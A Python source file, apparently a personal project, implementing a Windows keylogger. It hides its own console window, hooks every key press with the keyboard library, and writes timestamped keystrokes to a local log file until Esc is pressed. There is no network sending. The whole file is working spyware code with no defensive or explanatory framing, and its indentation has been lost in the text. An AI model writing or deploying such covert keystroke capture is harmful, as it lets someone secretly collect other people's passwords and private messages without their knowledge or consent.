import keyboard
import os
import time
import win32console, win32gui
class KeyLogger:
key_data: str = ''
special_case :list[str] = [
'shift', 'tab', 'up', 'down', 'right', 'left', 'ctrl', 'alt', 'caps lock', 'space',
'backspace', 'right alt', 'right ctrl'
]
def __init__(self, log_dir: str, log_file_name: str) -> None:
self.log_dir: str = log_dir
self.log_path: str = os.path.join(log_dir, log_file_name)
def hide_window(self) -> None:
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def create_log(self) -> None:
if not os.path.isdir(self.log_dir):
print(f"[info] {self.log_dir} 디렉토리가 존재하지 않으므로, 새롭게 생성합니다")
os.makedirs(self.log_dir)
else:
with open(self.log_path, 'w', encoding='utf-8') as fp:
fp.write(f"{'=' * 20} Keylogger Starting ... {'=' * 20}\n")
def log_key(self, event: keyboard.KeyboardEvent) -> None:
if (event.name in self.special_case):
self.key_data += ' ' + '[' + str(event.name) + '] '
if (event.name not in self.special_case):
self.key_data += event.name
if (event.name == 'enter'):
with open(self.log_path, 'a', encoding='utf-8') as fp:
self.key_data += '\n'
fp.write(f'[{time.strftime("%Y-%m-%d %H:%M:%S")}] : {self.key_data.replace('enter', '')}\n')
self.key_data = ''
if (event.name == 'esc'):
with open(self.log_path, 'a', encoding='utf-8') as fp:
fp.write("Done! : esc\n")
return False
def main() -> None:
log_dir: str = "C:\\Users\\yshri\\github\\key-logger\\log"
log_file_name: str = f"{time.strftime('%Y%m%d_%H%M')}.log"
keylogger = KeyLogger(log_dir=log_dir, log_file_name=log_file_name)
keylogger.hide_window()
keylogger.create_log()
keyboard.on_press(keylogger.log_key)
keyboard.wait('esc')
if __name__ == '__main__':
main()